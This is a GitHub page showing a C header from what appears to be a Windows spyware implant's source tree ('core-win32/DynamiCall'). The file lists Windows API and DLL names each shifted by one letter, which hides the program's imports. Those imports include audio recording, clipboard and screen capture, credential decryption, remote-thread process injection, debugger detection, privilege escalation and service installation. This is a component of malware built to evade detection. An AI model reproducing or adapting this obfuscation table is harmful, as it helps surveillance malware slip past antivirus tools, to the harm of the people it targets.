Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
core-win32/DynamiCall/obfuscated_calls.h
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
330 lines (314 sloc)
16.2 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #ifndef obfuscated_calls_h__ | |
| #define obfuscated_calls_h__ | |
| #define obfuscated_NETAPI32DLL "OFUBQJ43/EMM" | |
| #define obfuscated_NetUserGetInfo "OfuVtfsHfuJogp" | |
| #define obfuscated_NetApiBufferFree "OfuBqjCvggfsGsff" | |
| #define obfuscated_WINHTTPDLL "XJOIUUQ/EMM" | |
| #define obfuscated_WinHttpGetIEProxyConfigForCurrentUser "XjoIuuqHfuJFQspyzDpogjhGpsDvssfouVtfs" | |
| #define obfuscated_WinHttpReadData "XjoIuuqSfbeEbub" | |
| #define obfuscated_WinHttpReceiveResponse "XjoIuuqSfdfjwfSftqpotf" | |
| #define obfuscated_WinHttpSendRequest "XjoIuuqTfoeSfrvftu" | |
| #define obfuscated_WinHttpQueryOption "XjoIuuqRvfszPqujpo" | |
| #define obfuscated_WinHttpWriteData "XjoIuuqXsjufEbub" | |
| #define obfuscated_WinHttpOpen "XjoIuuqPqfo" | |
| #define obfuscated_WinHttpSetOption "XjoIuuqTfuPqujpo" | |
| #define obfuscated_WinHttpAddRequestHeaders "XjoIuuqBeeSfrvftuIfbefst" | |
| #define obfuscated_WinHttpGetProxyForUrl "XjoIuuqHfuQspyzGpsVsm" | |
| #define obfuscated_WinHttpConnect "XjoIuuqDpoofdu" | |
| #define obfuscated_WinHttpSetTimeouts "XjoIuuqTfuUjnfpvut" | |
| #define obfuscated_WinHttpOpenRequest "XjoIuuqPqfoSfrvftu" | |
| #define obfuscated_PSAPIDLL "QTBQJ/EMM" | |
| #define obfuscated_GetModuleFileNameExA "HfuNpevmfGjmfObnfFyB" | |
| #define obfuscated_GetDeviceDriverBaseNameW "HfuEfwjdfEsjwfsCbtfObnfX" | |
| #define obfuscated_EnumDeviceDrivers "FovnEfwjdfEsjwfst" | |
| #define obfuscated_GetModuleFileNameExW "HfuNpevmfGjmfObnfFyX" | |
| #define obfuscated_EnumProcessModules "FovnQspdfttNpevmft" | |
| #define obfuscated_SHLWAPIDLL "TIMXBQJ/EMM" | |
| #define obfuscated_StrRChrA "TusSDisB" | |
| #define obfuscated_wnsprintfW "xotqsjougX" | |
| #define obfuscated_WINMMDLL "XJONN/EMM" | |
| #define obfuscated_mixerSetControlDetails "njyfsTfuDpouspmEfubjmt" | |
| #define obfuscated_mixerGetControlDetailsA "njyfsHfuDpouspmEfubjmtB" | |
| #define obfuscated_mixerGetLineControlsA "njyfsHfuMjofDpouspmtB" | |
| #define obfuscated_mixerGetLineInfoA "njyfsHfuMjofJogpB" | |
| #define obfuscated_waveInClose "xbwfJoDmptf" | |
| #define obfuscated_waveInReset "xbwfJoSftfu" | |
| #define obfuscated_mixerClose "njyfsDmptf" | |
| #define obfuscated_mixerGetDevCapsA "njyfsHfuEfwDbqtB" | |
| #define obfuscated_mixerGetNumDevs "njyfsHfuOvnEfwt" | |
| #define obfuscated_waveInOpen "xbwfJoPqfo" | |
| #define obfuscated_mixerOpen "njyfsPqfo" | |
| #define obfuscated_CRYPT32DLL "DSZQU43/EMM" | |
| #define obfuscated_CertFreeCertificateContext "DfsuGsffDfsujgjdbufDpoufyu" | |
| #define obfuscated_CryptUnprotectData "DszquVoqspufduEbub" | |
| #define obfuscated_OLEACCDLL "PMFBDD/EMM" | |
| #define obfuscated_AccessibleChildren "BddfttjcmfDijmesfo" | |
| #define obfuscated_AccessibleObjectFromWindow "BddfttjcmfPckfduGspnXjoepx" | |
| #define obfuscated_IMAGEHLPDLL "JNBHFIMQ/EMM" | |
| #define obfuscated_MapAndLoad "NbqBoeMpbe" | |
| #define obfuscated_UnMapAndLoad "VoNbqBoeMpbe" | |
| #define obfuscated_VERSIONDLL "WFSTJPO/EMM" | |
| #define obfuscated_VerQueryValueW "WfsRvfszWbmvfX" | |
| #define obfuscated_GetFileVersionInfoSizeW "HfuGjmfWfstjpoJogpTj{fX" | |
| #define obfuscated_GetFileVersionInfoW "HfuGjmfWfstjpoJogpX" | |
| #define obfuscated_KERNEL32DLL "LFSOFM43/EMM" | |
| #define obfuscated_CreateFileMappingA "DsfbufGjmfNbqqjohB" | |
| #define obfuscated_UnmapViewOfFile "VonbqWjfxPgGjmf" | |
| #define obfuscated_GetTickCount "HfuUjdlDpvou" | |
| #define obfuscated_TerminateProcess "UfsnjobufQspdftt" | |
| #define obfuscated_CreateFileW "DsfbufGjmfX" | |
| #define obfuscated_GetFileSize "HfuGjmfTj{f" | |
| #define obfuscated_OpenProcess "PqfoQspdftt" | |
| #define obfuscated_GetCurrentProcessId "HfuDvssfouQspdfttJe" | |
| #define obfuscated_FlushFileBuffers "GmvtiGjmfCvggfst" | |
| #define obfuscated_GetSystemDirectoryA "HfuTztufnEjsfdupszB" | |
| #define obfuscated_GetEnvironmentVariableW "HfuFowjsponfouWbsjbcmfX" | |
| #define obfuscated_FindClose "GjoeDmptf" | |
| #define obfuscated_FindNextFileW "GjoeOfyuGjmfX" | |
| #define obfuscated_CopyFileW "DpqzGjmfX" | |
| #define obfuscated_RemoveDirectoryW "SfnpwfEjsfdupszX" | |
| #define obfuscated_FindFirstFileW "GjoeGjstuGjmfX" | |
| #define obfuscated_CreateDirectoryW "DsfbufEjsfdupszX" | |
| #define obfuscated_WriteFile "XsjufGjmf" | |
| #define obfuscated_CreateFileA "DsfbufGjmfB" | |
| #define obfuscated_ExitProcess "FyjuQspdftt" | |
| #define obfuscated_GetDriveTypeW "HfuEsjwfUzqfX" | |
| #define obfuscated_ReadFile "SfbeGjmf" | |
| #define obfuscated_GetModuleFileNameA "HfuNpevmfGjmfObnfB" | |
| #define obfuscated_LocalFree "MpdbmGsff" | |
| #define obfuscated_LocalAlloc "MpdbmBmmpd" | |
| #define obfuscated_GetLastError "HfuMbtuFssps" | |
| #define obfuscated_Process32Next "Qspdftt43Ofyu" | |
| #define obfuscated_Module32Next "Npevmf43Ofyu" | |
| #define obfuscated_Module32First "Npevmf43Gjstu" | |
| #define obfuscated_Process32First "Qspdftt43Gjstu" | |
| #define obfuscated_CreateToolhelp32Snapshot "DsfbufUppmifmq43Tobqtipu" | |
| #define obfuscated_GetProcAddress "HfuQspdBeesftt" | |
| #define obfuscated_FindFirstFileA "GjoeGjstuGjmfB" | |
| #define obfuscated_GetEnvironmentVariableA "HfuFowjsponfouWbsjbcmfB" | |
| #define obfuscated_GetFileInformationByHandle "HfuGjmfJogpsnbujpoCzIboemf" | |
| #define obfuscated_LoadLibraryA "MpbeMjcsbszB" | |
| #define obfuscated_Process32NextW "Qspdftt43OfyuX" | |
| #define obfuscated_Process32FirstW "Qspdftt43GjstuX" | |
| #define obfuscated_FreeLibrary "GsffMjcsbsz" | |
| #define obfuscated_GetCurrentProcess "HfuDvssfouQspdftt" | |
| #define obfuscated_GetDiskFreeSpaceExW "HfuEjtlGsffTqbdfFyX" | |
| #define obfuscated_GetLocaleInfoW "HfuMpdbmfJogpX" | |
| #define obfuscated_GlobalMemoryStatusEx "HmpcbmNfnpszTubuvtFy" | |
| #define obfuscated_GetSystemInfo "HfuTztufnJogp" | |
| #define obfuscated_GetSystemPowerStatus "HfuTztufnQpxfsTubuvt" | |
| #define obfuscated_GetVolumeInformationW "HfuWpmvnfJogpsnbujpoX" | |
| #define obfuscated_LoadLibraryW "MpbeMjcsbszX" | |
| #define obfuscated_WaitForSingleObject "XbjuGpsTjohmfPckfdu" | |
| #define obfuscated_SetFileAttributesW "TfuGjmfBuusjcvuftX" | |
| #define obfuscated_SetLastError "TfuMbtuFssps" | |
| #define obfuscated_VirtualQueryEx "WjsuvbmRvfszFy" | |
| #define obfuscated_Module32NextW "Npevmf43OfyuX" | |
| #define obfuscated_Module32FirstW "Npevmf43GjstuX" | |
| #define obfuscated_WideCharToMultiByte "XjefDibsUpNvmujCzuf" | |
| #define obfuscated_GetShortPathNameW "HfuTipsuQbuiObnfX" | |
| #define obfuscated_ExpandEnvironmentStringsW "FyqboeFowjsponfouTusjohtX" | |
| #define obfuscated_ExpandEnvironmentStringsA "FyqboeFowjsponfouTusjohtB" | |
| #define obfuscated_VirtualFreeEx "WjsuvbmGsffFy" | |
| #define obfuscated_GetSystemTimeAsFileTime "HfuTztufnUjnfBtGjmfUjnf" | |
| #define obfuscated_DeleteFileA "EfmfufGjmfB" | |
| #define obfuscated_SetFileAttributesA "TfuGjmfBuusjcvuftB" | |
| #define obfuscated_GetLongPathNameA "HfuMpohQbuiObnfB" | |
| #define obfuscated_GetCommandLineW "HfuDpnnboeMjofX" | |
| #define obfuscated_GetCommandLineA "HfuDpnnboeMjofB" | |
| #define obfuscated_MoveFileExA "NpwfGjmfFyB" | |
| #define obfuscated_GlobalUnlock "HmpcbmVompdl" | |
| #define obfuscated_OpenFileMappingA "PqfoGjmfNbqqjohB" | |
| #define obfuscated_CopyFileA "DpqzGjmfB" | |
| #define obfuscated_FindNextFileA "GjoeOfyuGjmfB" | |
| #define obfuscated_GetDiskFreeSpaceExA "HfuEjtlGsffTqbdfFyB" | |
| #define obfuscated_SetFilePointer "TfuGjmfQpjoufs" | |
| #define obfuscated_IsDebuggerPresent "JtEfcvhhfsQsftfou" | |
| #define obfuscated_GetFileTime "HfuGjmfUjnf" | |
| #define obfuscated_GlobalFree "HmpcbmGsff" | |
| #define obfuscated_LoadLibraryExA "MpbeMjcsbszFyB" | |
| #define obfuscated_GlobalAlloc "HmpcbmBmmpd" | |
| #define obfuscated_DeviceIoControl "EfwjdfJpDpouspm" | |
| #define obfuscated_VirtualFree "WjsuvbmGsff" | |
| #define obfuscated_VirtualProtectEx "WjsuvbmQspufduFy" | |
| #define obfuscated_WriteProcessMemory "XsjufQspdfttNfnpsz" | |
| #define obfuscated_ReadProcessMemory "SfbeQspdfttNfnpsz" | |
| #define obfuscated_CreateRemoteThread "DsfbufSfnpufUisfbe" | |
| #define obfuscated_SystemTimeToFileTime "TztufnUjnfUpGjmfUjnf" | |
| #define obfuscated_GetSystemTime "HfuTztufnUjnf" | |
| #define obfuscated_lstrcmpA "mtusdnqB" | |
| #define obfuscated_GetFileAttributesW "HfuGjmfBuusjcvuftX" | |
| #define obfuscated_MultiByteToWideChar "NvmujCzufUpXjefDibs" | |
| #define obfuscated_GetPrivateProfileStringW "HfuQsjwbufQspgjmfTusjohX" | |
| #define obfuscated_lstrcatA "mtusdbuB" | |
| #define obfuscated_lstrcpyA "mtusdqzB" | |
| #define obfuscated_lstrcmpW "mtusdnqX" | |
| #define obfuscated_GetVolumeInformationA "HfuWpmvnfJogpsnbujpoB" | |
| #define obfuscated_SetFileTime "TfuGjmfUjnf" | |
| #define obfuscated_IsBadStringPtrW "JtCbeTusjohQusX" | |
| #define obfuscated_GetCPInfo "HfuDQJogp" | |
| #define obfuscated_GetStdHandle "HfuTueIboemf" | |
| #define obfuscated_GetModuleHandleW "HfuNpevmfIboemfX" | |
| #define obfuscated_VirtualAlloc "WjsuvbmBmmpd" | |
| #define obfuscated_HeapDestroy "IfbqEftuspz" | |
| #define obfuscated_HeapCreate "IfbqDsfbuf" | |
| #define obfuscated_DeleteCriticalSection "EfmfufDsjujdbmTfdujpo" | |
| #define obfuscated_GetCurrentThreadId "HfuDvssfouUisfbeJe" | |
| #define obfuscated_SetUnhandledExceptionFilter "TfuVoiboemfeFydfqujpoGjmufs" | |
| #define obfuscated_UnhandledExceptionFilter "VoiboemfeFydfqujpoGjmufs" | |
| #define obfuscated_RaiseException "SbjtfFydfqujpo" | |
| #define obfuscated_RtlUnwind "SumVoxjoe" | |
| #define obfuscated_HeapFree "IfbqGsff" | |
| #define obfuscated_HeapAlloc "IfbqBmmpd" | |
| #define obfuscated_HeapReAlloc "IfbqSfBmmpd" | |
| #define obfuscated_LCMapStringA "MDNbqTusjohB" | |
| #define obfuscated_LCMapStringW "MDNbqTusjohX" | |
| #define obfuscated_HeapSize "IfbqTj{f" | |
| #define obfuscated_VirtualQuery "WjsuvbmRvfsz" | |
| #define obfuscated_SetHandleCount "TfuIboemfDpvou" | |
| #define obfuscated_GetFileType "HfuGjmfUzqf" | |
| #define obfuscated_GetStartupInfoA "HfuTubsuvqJogpB" | |
| #define obfuscated_FreeEnvironmentStringsA "GsffFowjsponfouTusjohtB" | |
| #define obfuscated_GetEnvironmentStrings "HfuFowjsponfouTusjoht" | |
| #define obfuscated_FreeEnvironmentStringsW "GsffFowjsponfouTusjohtX" | |
| #define obfuscated_GetEnvironmentStringsW "HfuFowjsponfouTusjohtX" | |
| #define obfuscated_QueryPerformanceCounter "RvfszQfsgpsnbodfDpvoufs" | |
| #define obfuscated_InitializeCriticalSectionAndSpinCount "Jojujbmj{fDsjujdbmTfdujpoBoeTqjoDpvou" | |
| #define obfuscated_GetConsoleCP "HfuDpotpmfDQ" | |
| #define obfuscated_GetConsoleMode "HfuDpotpmfNpef" | |
| #define obfuscated_GetStringTypeA "HfuTusjohUzqfB" | |
| #define obfuscated_GetStringTypeW "HfuTusjohUzqfX" | |
| #define obfuscated_GetLocaleInfoA "HfuMpdbmfJogpB" | |
| #define obfuscated_MapViewOfFile "NbqWjfxPgGjmf" | |
| #define obfuscated_GetModuleHandleA "HfuNpevmfIboemfB" | |
| #define obfuscated_CloseHandle "DmptfIboemf" | |
| #define obfuscated_InitializeCriticalSection "Jojujbmj{fDsjujdbmTfdujpo" | |
| #define obfuscated_Sleep "Tmffq" | |
| #define obfuscated_ExitThread "FyjuUisfbe" | |
| #define obfuscated_EnterCriticalSection "FoufsDsjujdbmTfdujpo" | |
| #define obfuscated_LeaveCriticalSection "MfbwfDsjujdbmTfdujpo" | |
| #define obfuscated_InterlockedIncrement "JoufsmpdlfeJodsfnfou" | |
| #define obfuscated_InterlockedDecrement "JoufsmpdlfeEfdsfnfou" | |
| #define obfuscated_GetACP "HfuBDQ" | |
| #define obfuscated_GetOEMCP "HfuPFNDQ" | |
| #define obfuscated_IsValidCodePage "JtWbmjeDpefQbhf" | |
| #define obfuscated_TlsGetValue "UmtHfuWbmvf" | |
| #define obfuscated_TlsAlloc "UmtBmmpd" | |
| #define obfuscated_TlsFree "UmtGsff" | |
| #define obfuscated_TlsSetValue "UmtTfuWbmvf" | |
| #define obfuscated_GlobalLock "HmpcbmMpdl" | |
| #define obfuscated_SetStdHandle "TfuTueIboemf" | |
| #define obfuscated_WriteConsoleA "XsjufDpotpmfB" | |
| #define obfuscated_GetConsoleOutputCP "HfuDpotpmfPvuqvuDQ" | |
| #define obfuscated_WriteConsoleW "XsjufDpotpmfX" | |
| #define obfuscated_SetEndOfFile "TfuFoePgGjmf" | |
| #define obfuscated_GetProcessHeap "HfuQspdfttIfbq" | |
| #define obfuscated_DeleteFileW "EfmfufGjmfX" | |
| #define obfuscated_USER32DLL "VTFS43/EMM" | |
| #define obfuscated_ToUnicode "UpVojdpef" | |
| #define obfuscated_EnumChildWindows "FovnDijmeXjoepxt" | |
| #define obfuscated_GetClassNameW "HfuDmbttObnfX" | |
| #define obfuscated_RegisterWindowMessageW "SfhjtufsXjoepxNfttbhfX" | |
| #define obfuscated_PeekMessageA "QfflNfttbhfB" | |
| #define obfuscated_TranslateMessage "UsbotmbufNfttbhf" | |
| #define obfuscated_DispatchMessageA "EjtqbudiNfttbhfB" | |
| #define obfuscated_InvalidateRect "JowbmjebufSfdu" | |
| #define obfuscated_GetKeyNameTextW "HfuLfzObnfUfyuX" | |
| #define obfuscated_CloseClipboard "DmptfDmjqcpbse" | |
| #define obfuscated_GetClipboardData "HfuDmjqcpbseEbub" | |
| #define obfuscated_OpenClipboard "PqfoDmjqcpbse" | |
| #define obfuscated_EnumWindows "FovnXjoepxt" | |
| #define obfuscated_IsWindow "JtXjoepx" | |
| #define obfuscated_FindWindowExW "GjoeXjoepxFyX" | |
| #define obfuscated_SendMessageTimeoutW "TfoeNfttbhfUjnfpvuX" | |
| #define obfuscated_GetWindowTextW "HfuXjoepxUfyuX" | |
| #define obfuscated_GetWindowTextA "HfuXjoepxUfyuB" | |
| #define obfuscated_LoadIconA "MpbeJdpoB" | |
| #define obfuscated_LoadCursorA "MpbeDvstpsB" | |
| #define obfuscated_RegisterClassExA "SfhjtufsDmbttFyB" | |
| #define obfuscated_CreateWindowExA "DsfbufXjoepxFyB" | |
| #define obfuscated_ShowWindow "TipxXjoepx" | |
| #define obfuscated_UpdateWindow "VqebufXjoepx" | |
| #define obfuscated_DefWindowProcA "EfgXjoepxQspdB" | |
| #define obfuscated_BeginPaint "CfhjoQbjou" | |
| #define obfuscated_GetClientRect "HfuDmjfouSfdu" | |
| #define obfuscated_EndPaint "FoeQbjou" | |
| #define obfuscated_MessageBoxA "NfttbhfCpyB" | |
| #define obfuscated_SystemParametersInfoA "TztufnQbsbnfufstJogpB" | |
| #define obfuscated_GetForegroundWindow "HfuGpsfhspvoeXjoepx" | |
| #define obfuscated_GetSystemMetrics "HfuTztufnNfusjdt" | |
| #define obfuscated_GetDC "HfuED" | |
| #define obfuscated_GetDesktopWindow "HfuEftlupqXjoepx" | |
| #define obfuscated_GetWindowInfo "HfuXjoepxJogp" | |
| #define obfuscated_ReleaseDC "SfmfbtfED" | |
| #define obfuscated_wsprintfW "xtqsjougX" | |
| #define obfuscated_GetWindowThreadProcessId "HfuXjoepxUisfbeQspdfttJe" | |
| #define obfuscated_DrawTextA "EsbxUfyuB" | |
| #define obfuscated_wsprintfA "xtqsjougB" | |
| #define obfuscated_GDI32DLL "HEJ43/EMM" | |
| #define obfuscated_CreateDCA "DsfbufEDB" | |
| #define obfuscated_SetDIBits "TfuEJCjut" | |
| #define obfuscated_CreateRectRgn "DsfbufSfduSho" | |
| #define obfuscated_CreateSolidBrush "DsfbufTpmjeCsvti" | |
| #define obfuscated_FillRgn "GjmmSho" | |
| #define obfuscated_SetTextColor "TfuUfyuDpmps" | |
| #define obfuscated_SetBkColor "TfuClDpmps" | |
| #define obfuscated_GetStockObject "HfuTupdlPckfdu" | |
| #define obfuscated_CreateCompatibleDC "DsfbufDpnqbujcmfED" | |
| #define obfuscated_CreateCompatibleBitmap "DsfbufDpnqbujcmfCjunbq" | |
| #define obfuscated_CreatePalette "DsfbufQbmfuuf" | |
| #define obfuscated_SelectPalette "TfmfduQbmfuuf" | |
| #define obfuscated_SelectObject "TfmfduPckfdu" | |
| #define obfuscated_StretchBlt "TusfudiCmu" | |
| #define obfuscated_GetDIBits "HfuEJCjut" | |
| #define obfuscated_DeleteObject "EfmfufPckfdu" | |
| #define obfuscated_DeleteDC "EfmfufED" | |
| #define obfuscated_ADVAPI32DLL "BEWBQJ43/EMM" | |
| #define obfuscated_SetSecurityDescriptorSacl "TfuTfdvsjuzEftdsjqupsTbdm" | |
| #define obfuscated_RegOpenKeyA "SfhPqfoLfzB" | |
| #define obfuscated_RegQueryValueExA "SfhRvfszWbmvfFyB" | |
| #define obfuscated_RegCreateKeyA "SfhDsfbufLfzB" | |
| #define obfuscated_LookupAccountSidA "MpplvqBddpvouTjeB" | |
| #define obfuscated_GetUserNameA "HfuVtfsObnfB" | |
| #define obfuscated_RegLoadKeyW "SfhMpbeLfzX" | |
| #define obfuscated_RegCreateKeyW "SfhDsfbufLfzX" | |
| #define obfuscated_RegSetValueExA "SfhTfuWbmvfFyB" | |
| #define obfuscated_RegUnLoadKeyW "SfhVoMpbeLfzX" | |
| #define obfuscated_RegOpenKeyW "SfhPqfoLfzX" | |
| #define obfuscated_RegEnumKeyW "SfhFovnLfzX" | |
| #define obfuscated_OpenProcessToken "PqfoQspdfttUplfo" | |
| #define obfuscated_LookupPrivilegeValueA "MpplvqQsjwjmfhfWbmvfB" | |
| #define obfuscated_AdjustTokenPrivileges "BekvtuUplfoQsjwjmfhft" | |
| #define obfuscated_RegOpenKeyExW "SfhPqfoLfzFyX" | |
| #define obfuscated_RegQueryValueExW "SfhRvfszWbmvfFyX" | |
| #define obfuscated_RegCloseKey "SfhDmptfLfz" | |
| #define obfuscated_GetSecurityDescriptorSacl "HfuTfdvsjuzEftdsjqupsTbdm" | |
| #define obfuscated_ConvertStringSecurityDescriptorToSecurityDescriptorA "DpowfsuTusjohTfdvsjuzEftdsjqupsUpTfdvsjuzEftdsjqupsB" | |
| #define obfuscated_SetSecurityDescriptorDacl "TfuTfdvsjuzEftdsjqupsEbdm" | |
| #define obfuscated_InitializeSecurityDescriptor "Jojujbmj{fTfdvsjuzEftdsjqups" | |
| #define obfuscated_CloseEventLog "DmptfFwfouMph" | |
| #define obfuscated_OpenEventLogA "PqfoFwfouMphB" | |
| #define obfuscated_GetOldestEventLogRecord "HfuPmeftuFwfouMphSfdpse" | |
| #define obfuscated_GetNumberOfEventLogRecords "HfuOvncfsPgFwfouMphSfdpset" | |
| #define obfuscated_ReadEventLogA "SfbeFwfouMphB" | |
| #define obfuscated_CloseServiceHandle "DmptfTfswjdfIboemf" | |
| #define obfuscated_OpenSCManagerA "PqfoTDNbobhfsB" | |
| #define obfuscated_StartServiceA "TubsuTfswjdfB" | |
| #define obfuscated_CreateServiceW "DsfbufTfswjdfX" | |
| #define obfuscated_RegOpenKeyExA "SfhPqfoLfzFyB" | |
| #define obfuscated_RegEnumValueA "SfhFovnWbmvfB" | |
| #define obfuscated_RegEnumKeyExA "SfhFovnLfzFyB" | |
| #define obfuscated_RegDeleteValueA "SfhEfmfufWbmvfB" | |
| #define obfuscated_GetSidSubAuthority "HfuTjeTvcBvuipsjuz" | |
| #define obfuscated_GetSidSubAuthorityCount "HfuTjeTvcBvuipsjuzDpvou" | |
| #define obfuscated_GetTokenInformation "HfuUplfoJogpsnbujpo" | |
| #define obfuscated_ConvertSidToStringSidW "DpowfsuTjeUpTusjohTjeX" | |
| #define obfuscated_RegSetValueExW "SfhTfuWbmvfFyX" | |
| #define obfuscated_GetUserNameW "HfuVtfsObnfX" | |
| #define obfuscated_RegEnumKeyExW "SfhFovnLfzFyX" | |
| #define obfuscated_ConvertSidToStringSidA "DpowfsuTjeUpTusjohTjeB" | |
| #define obfuscated_SHELL32DLL "TIFMM43/EMM" | |
| #define obfuscated_SHGetSpecialFolderPathW "TIHfuTqfdjbmGpmefsQbuiX" | |
| #define obfuscated_OLE32DLL "PMF43/EMM" | |
| #define obfuscated_CreateStreamOnHGlobal "DsfbufTusfbnPoIHmpcbm" | |
| #endif // obfuscated_calls_h__ |